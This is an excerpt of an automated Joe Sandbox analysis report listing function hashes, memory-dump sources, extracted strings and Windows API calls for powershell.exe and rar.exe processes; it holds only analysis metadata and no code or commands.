Function 041E87A8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e13b949e3820617e90688c3536a83eed3fdcae30a80c3ffbe561620106f0b152
Instruction ID: 178093a81450851e32b129d7f26905a6542c887df7ed3bd8ddfa14652039b4bc
Opcode Fuzzy Hash: e13b949e3820617e90688c3536a83eed3fdcae30a80c3ffbe561620106f0b152
Instruction Fuzzy Hash: 50F024F67082506FC3105BAEAC84826BFE9EFCD25035640AAF505C7321DA70EC15C7A0

Function 07E111F0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2740304800.0000000007E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf7b41f8cc996fcef712b7b5c434da177afd0dedd958a31ef522becfd9ac52b6
Instruction ID: 0cc591bb1602e31b43256f844bb515f2ad5c48398da922c6881586c4f543f987
Opcode Fuzzy Hash: bf7b41f8cc996fcef712b7b5c434da177afd0dedd958a31ef522becfd9ac52b6
Instruction Fuzzy Hash: A8F0E231305205EFC3185F25D866AAA77AAAFC2365F0440BFE605CB241CF309C45CBB1

Function 041E8759 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56f9e16e0e97dc73d32acfce189a9556c89248ca538d0bd6c9357ee40a316a45
Instruction ID: 940844209e1cf691d4d3df445df5dc04a9933fcdf92f88fd849f46add83c09fe
Opcode Fuzzy Hash: 56f9e16e0e97dc73d32acfce189a9556c89248ca538d0bd6c9357ee40a316a45
Instruction Fuzzy Hash: 32F082763042516FC3055B6DDC8880ABBA9EF8E3203154067F905C7362DB71EC258B60

Function 041EF3F0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aeed7d265569d46890466190272ca5f610b439debfae60de5ded455930f2dc0
Instruction ID: c45b26e805a3ce6eb86cc14654064e221d8eae6ddfbbf477400427704c849460
Opcode Fuzzy Hash: 1aeed7d265569d46890466190272ca5f610b439debfae60de5ded455930f2dc0
Instruction Fuzzy Hash: 44F0B7B4E0420AEFDB54DFAAD845ABEBBF4AB48300F5145A9D918E7241E77496018B90

Function 07E120F8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2740304800.0000000007E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 498740da2633c5975fdb0956d76ac8117b6c9778dee43df39a1abd27bfe3a33f
Instruction ID: 391b80c88c27a6e92bef20e480cfa783cda2671d6c5a7ee2d3dfb1c4c85e85fa
Opcode Fuzzy Hash: 498740da2633c5975fdb0956d76ac8117b6c9778dee43df39a1abd27bfe3a33f
Instruction Fuzzy Hash: 7AF03AB5B02219DFDF14CF80CD46BEEBBB5BB88318F205119D905BB250D7745A80CBA1

Function 041EC7A0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 434f3ea12dc3b4e8907481c9b9cbcbdea2cac1eb9acc4ad1f74f0cd6d4ed10f9
Instruction ID: 6272b2bbcc93270491a4973f6018b792232a9b5f379dcc8902313acddc549269
Opcode Fuzzy Hash: 434f3ea12dc3b4e8907481c9b9cbcbdea2cac1eb9acc4ad1f74f0cd6d4ed10f9
Instruction Fuzzy Hash: 39F02775A0410CEFD700DFA0E9547DD7BF2EB89314F2000A9D80957394DE312E50CB51

Function 041E8768 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cdf53b2ea0636bcbd444826f25e36053895e80e663b7084ab87bfcb682e8995
Instruction ID: ed056877eda43f305fb933932fc096e20163935db5f444b70595aaad59aadf8d
Opcode Fuzzy Hash: 7cdf53b2ea0636bcbd444826f25e36053895e80e663b7084ab87bfcb682e8995
Instruction Fuzzy Hash: 31E04FB63102146BC7049AAEE884D4AFBEAEBCD620715403AF909C7321CA71EC1587A0

Function 07E11068 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2740304800.0000000007E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 489c04decc7ab4a84387e0544149bd737a1e3e7c440f5d43371f05fa26c6746c
Instruction ID: 93409c6f763ffce473942d2e2b73de99f5e82fad7ef867cd8741fe9459c34a2e
Opcode Fuzzy Hash: 489c04decc7ab4a84387e0544149bd737a1e3e7c440f5d43371f05fa26c6746c
Instruction Fuzzy Hash: 8DE0C27174E2901BC702126DB81048ABF6E4DC323031E00A3D148C7693CE104C41C7EA

Function 041EC7B0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3003fbd467b7fabc3db487d9312a1a12c79c4d9e363563554194d83996b04bcb
Instruction ID: c478fc9329f239621374e45804037e664ea98fd17dd33f1cf1b8839c711fa978
Opcode Fuzzy Hash: 3003fbd467b7fabc3db487d9312a1a12c79c4d9e363563554194d83996b04bcb
Instruction Fuzzy Hash: 4AE01275A0010CEFD704EFA0EA5566DBBF7EB89304F1051A8D90997354DE326F14DB51

Function 041EF3B0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 162353d2d81c3174da79df585873e7ee2236cc4e9dccf73dd75578b2381935ef
Instruction ID: 5459d006606028d49c6f1a3eee675df9a6e06b59deca9886d41bcd44066a5a82
Opcode Fuzzy Hash: 162353d2d81c3174da79df585873e7ee2236cc4e9dccf73dd75578b2381935ef
Instruction Fuzzy Hash: 25D02B323441241FC740932CE4109D93BEC8F4A728B0180A7E40CC7752CD55DC414BC9

Function 041EF490 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f82e551e62d3829ac2aafb306f60ecf5ec8763ac75e01d483c00e6281cc04a1
Instruction ID: 6776d09985dce2a238668013e946b71697dea110b1564f172771b6518fd61d30
Opcode Fuzzy Hash: 3f82e551e62d3829ac2aafb306f60ecf5ec8763ac75e01d483c00e6281cc04a1
Instruction Fuzzy Hash: FBD0A73620410C5FE741EFD5E484E6277E9EF54704F0080B1EE488B121EB75F564A791

Function 07E118F8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2740304800.0000000007E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 223bdfd803351f1f04179248d8139ef3e0bf45d1549e131da243a894a0ffb9da
Instruction ID: 4f53fcc8bbdb146419e73af7835ede95ab43546d648fa51676a53d7b8212434d
Opcode Fuzzy Hash: 223bdfd803351f1f04179248d8139ef3e0bf45d1549e131da243a894a0ffb9da
Instruction Fuzzy Hash: F0E0ECF0B5611ECBDB15DF80CD16BED7BB87B49304F201415D202BA550DBB80A80C765

Function 07E11078 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2740304800.0000000007E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7e10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29236afc58392a863d1e2c8224bd0e8afc2426cde827a0284f88c6d0b3ef3705
Instruction ID: b6a59d30e56fdffc11dc7918fe4564bd3b7cab2afce534d2aa3815dcb883dc96
Opcode Fuzzy Hash: 29236afc58392a863d1e2c8224bd0e8afc2426cde827a0284f88c6d0b3ef3705
Instruction Fuzzy Hash: 5AC08C72309424230508304F280189FE6DE89C9830309003BE20CE3300CCA04C4282EA

Function 041EF3C0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47801d3a4c9fe9358672337e8b58069643e0d9c45d67b9a3bb0a8c7f0cb51140
Instruction ID: 44c0f43fa137c9e397e09a1c6915deb1dc9b060aa524e6dc88aecf9002e0cb19
Opcode Fuzzy Hash: 47801d3a4c9fe9358672337e8b58069643e0d9c45d67b9a3bb0a8c7f0cb51140
Instruction Fuzzy Hash: B8C012313101244BC704975CE414D6977DD9B89729B1140A6E50DCB361CD92EC0147C9

Function 041E99B8 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33e55a7a07473ae50e78eeebc2d12e024a72cae72a6fae3380b268155e8bf2a4
Instruction ID: bccbf0fc0bd89f7240fd772755bb0f5a8bf7544c98d0587ffa744a6b8a2eb36e
Opcode Fuzzy Hash: 33e55a7a07473ae50e78eeebc2d12e024a72cae72a6fae3380b268155e8bf2a4
Instruction Fuzzy Hash: 5AC08CEA00CBC02DD3535B70A8A48553F705E6362030501C3F1C09A8E38A1918B5D763

Function 041E4840 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2705925408.00000000041E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 041E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_41e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e17aeaf25467352eba785900af4313ff857286415d80b93436ed919dd8df194
Instruction ID: c8dbaf2ccac1a3336b724218a95677205d3728f16361958ff494f26b5770a1f4
Opcode Fuzzy Hash: 5e17aeaf25467352eba785900af4313ff857286415d80b93436ed919dd8df194
Instruction Fuzzy Hash: 66B012FD2E8D41B1590473B64DD0A7AD800EBB2B01B018C25B309C005486719474A21B

Non-executed Functions

Function 071803E0 Relevance: 5.1, Strings: 4, Instructions: 54COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0718044B
$^q, xrefs: 0718042A
4'^q, xrefs: 07180457
$^q, xrefs: 07180436

Memory Dump Source

Source File: 00000046.00000002.2737955973.0000000007180000.00000040.00000800.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7180000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 215509026ae3885664f57c92b189354a19ffbff6e182717dbedef84e3a191b66
Instruction ID: ff3acae28a1e18c23503caf87893c8de60cfe863c8dc561511cd641a449348b0
Opcode Fuzzy Hash: 215509026ae3885664f57c92b189354a19ffbff6e182717dbedef84e3a191b66
Instruction Fuzzy Hash: 0701D671B4A38A9FC37E26291820516AFB79BC6A5072E049BD081DF396CE558C4D83A3

Analysis Process: rar.exePID: 2792, Parent PID: 6384COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.3%
Total number of Nodes:	1213
Total number of Limit Nodes:	29

Executed Functions

Function 00007FF6FAA354C0 Relevance: 36.3, APIs: 4, Strings: 16, Instructions: 1336COMMON

Download Yara Rule

Strings

NUL, xrefs: 00007FF6FAA35DB3
stdin, xrefs: 00007FF6FAA36236
*.%ls, xrefs: 00007FF6FAA359AF
stdin, xrefs: 00007FF6FAA3672D
LOG, xrefs: 00007FF6FAA35CD0
SFX, xrefs: 00007FF6FAA360CC
EML, xrefs: 00007FF6FAA35D6B
+, xrefs: 00007FF6FAA36535
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx, xrefs: 00007FF6FAA35935
VER, xrefs: 00007FF6FAA35EBA
ERR, xrefs: 00007FF6FAA35D40
SND, xrefs: 00007FF6FAA35D11
default.sfx, xrefs: 00007FF6FAA360F4
*?., xrefs: 00007FF6FAA3598C
OFF, xrefs: 00007FF6FAA35E4B
rar.log, xrefs: 00007FF6FAA35CE5

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID: *.%ls$*?.$+$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx$EML$ERR$LOG$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
API String ID: 0-1628410872
Opcode ID: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction ID: 565280187a245d7692cc6fbdfa612b83b417dfc8b05aded54c0d159ed034c0ba
Opcode Fuzzy Hash: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction Fuzzy Hash: F9C2D672D0C38385FB649F2881461BE66A1AF01784F9590B5CAAEC72C5FE6FE54ED310

Function 00007FF6FAA21884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON

Download Yara Rule

Strings

exe, xrefs: 00007FF6FAA21897
q:, xrefs: 00007FF6FAA219DA
,6, xrefs: 00007FF6FAA22F83
BK, xrefs: 00007FF6FAA219C5
%s%s , xrefs: 00007FF6FAA22A46
sfx, xrefs: 00007FF6FAA21884
.ext, xrefs: 00007FF6FAA218C0
rar, xrefs: 00007FF6FAA218AA

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
API String ID: 0-1660254149
Opcode ID: 7713fc30a0949132ff6f2d98c66cd83d2205d8834f017a1a320264aa9ffc92fa
Instruction ID: 9649c9ddc0d53c6be0295bdaee2b227859a4b0766a97e8bc5a634bb5ad39de74
Opcode Fuzzy Hash: 7713fc30a0949132ff6f2d98c66cd83d2205d8834f017a1a320264aa9ffc92fa
Instruction Fuzzy Hash: 9BE29136A09AC285EB20DF26D8401FD27A1FB85788F454075DA6D87BDAEF39D56EC300

Function 00007FF6FAA648CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FAA64AE0: FreeLibrary.KERNEL32(?,?,00000000,00007FF6FAA3CC90), ref: 00007FF6FAA64AF5

GetModuleFileNameW.KERNEL32(?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA6492E
GetVersionExW.KERNEL32(?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA6496A
LoadLibraryExW.KERNELBASE(?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA64993
LoadLibraryW.KERNEL32(?,?,?,00007FF6FAA57E7D), ref: 00007FF6FAA6499F

Strings

rarlng.dll, xrefs: 00007FF6FAA6493A

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Library$Load$FileFreeModuleNameVersion
String ID: rarlng.dll
API String ID: 2520153904-1675521814
Opcode ID: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction ID: c9135ff9c91f70d2a6a0ffcc187f87a0c810019fd02d268026e5f47791ad7969
Opcode Fuzzy Hash: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction Fuzzy Hash: 02319032628A4296FB649F25E9402E92360FB45784F8041B5EA5D837D8FF3DD58FCB00

Function 00007FF6FAA446EC Relevance: 7.6, APIs: 5, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF6FAA44620,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA44736
FindFirstFileW.KERNEL32(?,00000000,?,?,00007FF6FAA44620,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA4476B
GetLastError.KERNEL32(?,00000000,?,?,00007FF6FAA44620,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA4477A
FindNextFileW.KERNELBASE(?,?,00000000,?,?,00007FF6FAA44620,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA447A4
GetLastError.KERNEL32(?,00000000,?,?,00007FF6FAA44620,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA447B2

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction ID: b421f5682a7159234303d82b5f55ba90d8c174071233ad4dd75be2aaece21208
Opcode Fuzzy Hash: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction Fuzzy Hash: F9419032A08A8197EB649B25E5402E963A0FB497B4F404371FE7D837D9EF6CE55E8700

Function 00007FF6FAA3901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF6FAA3904D
CryptGenRandom.ADVAPI32 ref: 00007FF6FAA39061
CryptReleaseContext.ADVAPI32 ref: 00007FF6FAA39074

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction ID: 31d4929faeaff05e12b9893b71ea201c66a1c4fb34fb58599545784934a451d8
Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction Fuzzy Hash: 17016D2AB0865082EB408B16A9553296761EBC5FD0F188071DE9E83BA8DF7ED95A8700

Function 00007FF6FAA2B540 Relevance: 2.0, APIs: 1, Instructions: 490COMMON

Download Yara Rule

APIs

CharToOemA.USER32 ref: 00007FF6FAA2B900

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Char
String ID:
API String ID: 751630497-0
Opcode ID: baabab1820374ba2820f1ea48004dae6935bb02fa1d5f0f7c129e9593b88d397
Instruction ID: bc3c52c0802db4a5a76aacf5aef60d24de070fd69328920a0c5aa4f26ff08921
Opcode Fuzzy Hash: baabab1820374ba2820f1ea48004dae6935bb02fa1d5f0f7c129e9593b88d397
Instruction Fuzzy Hash: AB22C132A086829AE714DF31D4411FEBBE0FB44748F484076DA9D872D9EE7CE95ACB40

Function 00007FF6FAA4AE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6FAA4B0C7

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
